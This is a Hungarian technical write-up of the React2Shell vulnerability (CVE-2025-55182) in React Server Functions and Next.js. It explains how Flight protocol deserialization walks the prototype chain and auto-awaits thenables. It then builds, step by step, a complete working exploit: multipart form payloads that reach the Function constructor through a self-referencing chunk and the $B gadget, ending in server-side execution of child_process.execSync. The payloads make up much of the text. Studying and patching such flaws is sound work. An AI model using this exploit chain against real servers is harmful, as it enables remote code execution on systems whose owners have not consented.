KRITIKUS BIZTONSÁGI RÉS: A React2Shell (CVE-2025-55182)

A React Server Functions és a mögöttük lévő React Flight Protocol szerializációja chunkokra (adatcsomagra) épít. A kliens egyszerű text formátumú chunkokat küld, amelyek hivatkozhatnak egymásra. A szervernek aztán vissza kell állítania összetett objektumstruktúrákat, akár többszintű referenciákkal. A probléma ott kezdődik, hogy a referenciák feloldásakor a React egyáltalán nem ellenőrzi, hogy a kért kulcs az objektum saját tulajdonsága-e.

Ha egy chunk egy másik chunkból egy nem létező property-t kér, a React szépen végigsétál a JavaScript prototípus-láncon, és eljut egészen az Object.prototype-ig — ez a hiba konkrétan a reviveModel egy funkciójában, a ReactFlightReplyServer.js-ben található, ahol a keretrendszer egy kliens által küldött value.hasOwnProperty(i)-t hív meg, így a támadó ezt shadowinggal felül tudja írni és megkerüli a kulcs-ellenőrzést. Innen a feloldás könnyen elirányítható a globális objektumláncra, majd a constructor.constructor-ra, vagyis a Function konstruktorra.

A problémát tovább súlyosbítja az, hogy a szerveroldali visszafejtés során a Next.js a legelső, 0-ás chunkot mindig await alá teszi. Ha ez az objektum tartalmaz egy then kulcsot, a JavaScript thenable-szabályai miatt a rendszer automatikusan úgy kezeli, mintha Promise lenne, és lefuttatja a then(resolve, reject) metódusát – külön ellenőrzés vagy sandbox nélkül.

Egy sima { then: <tetszőleges érték> } így már elég ahhoz, hogy a deszerializáció folyamata közben kódvégrehajtás menjen végbe.

A sérülékenység valódi ereje tehát abból jön, hogy a hibás kulcs-ellenőrzés miatt a chunk-feloldás során elérhetővé válik a Function konstruktor, amihez normál esetben nem lehetne hozzáférni. Ha a támadó ezt beépíti a then mezőbe, akkor a futtatott thenable már tetszőleges JavaScript-kódot végrehajt — azelőtt, hogy a Next.js egyáltalán validálná, melyik Server Action végpontot hívták meg.

Az exploitáció

A fentiek alapján már értjük, hogy a prototípus-lánc bejárása miatt a támadó közvetlenül el tudja érni a Function konstruktort, és ez lehetővé teszi, hogy a deszerializáció során tetszőleges JS kód generálódjon. A kérdés innentől az hogy hogyan lehet elérni azt, hogy ez a kód meg is legyen hívva?

Vegyük az alábbi payload-ot:

files = {
      "0": (None, '["$1:__proto__:constructor:constructor"]'),
      "1": (None, '{"x":1}'),
  }

A fenti chunk a szerveroldalon (egy referencia-láncon keresztül) a Function konstruktorra deszerializálódik. Itt még nem történik kódfuttatás, de már megvan a kulcs: a React a szerveroldali modell-visszaállítás közben figyelmen kívül hagyja a prototype-határokat, és a bejövő adatból egyenesen a JavaScript beépített konstruktoraihoz engedi a támadót.

Innét a következő kritikus tényező az, hogy a React minden olyan objektumot, amely rendelkezik then property-vel, automatikusan thenable-ként kezel. Ez azt jelenti, hogy a deszerializációs folyamatban - még mielőtt a szerver bármihez hozzányúlna - a React lefuttatja az adott objektum .then() függvényét. A Next.js-ben ez a decodeReplyFromBusboy visszatérési értékét érinti, amit a keretrendszer await-el hív meg. A támadó tehát egyszerűen visszaadhat egy olyan objektumot, ahol a then mező nem egy függvény, hanem egy referencia a Function konstruktorhoz, például így:

files = {
      "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
      "1": (None, '{"x":1}'),
  }

Ez önmagában ugyan még szintaktikai hibát eredményez, mert a V8 a thenable-t két natív függvénnyel hívja (resolve, reject), amelyek stringgé alakítva belezavarnak a Function konstruktor működésébe, de a lényeg már látszik: a szerveroldalon egy kliens által küldött form-data elem .then() függvényként kerül meghívásra.

Ezen előző limitációt a React Flight chunkjainak manipulációjával lehet megkerülni, mégpedig úgy, hogy a chunk saját .then() metódusa végül a React Chunk.prototype.then függvénye lesz. Ehhez használható a Flight protokoll $@ prefixe, amely nyers chunkreferenciát ad vissza - vagyis nem a feloldott objektumot, hanem a chunk belső reprezentációját. A támadó így saját chunkját visszahivatkoztathatja önmagára, és közben átállíthatja a .then mezőt:

files = {
      "0": (None, '{"then": "$1:__proto__:then"}'),
      "1": (None, '"$@0"'),
  }

A chunk saját .then() értéke tehát átíródik a Chunk.prototype.then-re, amelyet normál esetben a React használ a modell-feldolgozásra. Így elértük, hogy a deszerializációs lánc egy pontján a React a saját belső thenable-motorját futtassa le egy teljesen kontrollált objektumon.

A következő kritikus feltétel a chunk státusza. Ha a támadó a chunkját status: "resolved_model" mezővel látja el, a React azt hiszi, hogy egy teljesen valid modellrész érkezett, és továbblép a modell-inicializálásba:

files = {
      "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
      "1": (None, '"$@0"'),
  }

Az initializeModelChunk újabb JSON-parszolást végez, majd egy második reviveModel fut le, méghozzá egy jelentősen bővebb kontextusban, ahol a támadó további referenciákat is becsatornázhat.

Ebben a környezetben található az egyik legerősebb kódfuttatási eszköz, a Flight $B prefix kezelése, amely bináris/blob adatot kér le:

response._formData.get(response._prefix + obj)

Sem response, sem _formData, sem _prefix nincs validálva. Ezeket a támadó teljesen tetszőleges objektummal töltheti fel. Ha _formData.get a Function konstruktorra mutat, akkor a szerializáció közben a React konkrétan a következőt fogja meghívni:

Function("<támadó által megadott kód>")

Állítsuk be a hamisított chunk _response mezőjét:

crafted_chunk = {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',
      "_response": {
          "_prefix": "process.mainModule.require('child_process').execSync('calc');",
          "_formData": {
              "get": "$1:constructor:constructor"
          }
      }
  }

A $B0 miatt a React blobként kér le egy mezőt, ami azonnal a fenti hívássá áll össze:

Function("process.mainModule.require('child_process').execSync('calc'); // 0")

A parseModelString ezt a függvényt adja vissza a chunk új .then() értékeként, a Next.js pedig automatikusan awaiteli — vagyis lefuttatja.

Ezzel megvan a teljes lánc: prototípus-escaping → Function konstruktor → thenable-átvétel → önhivatkozó chunk → belső thenable → $B gadget → RCE.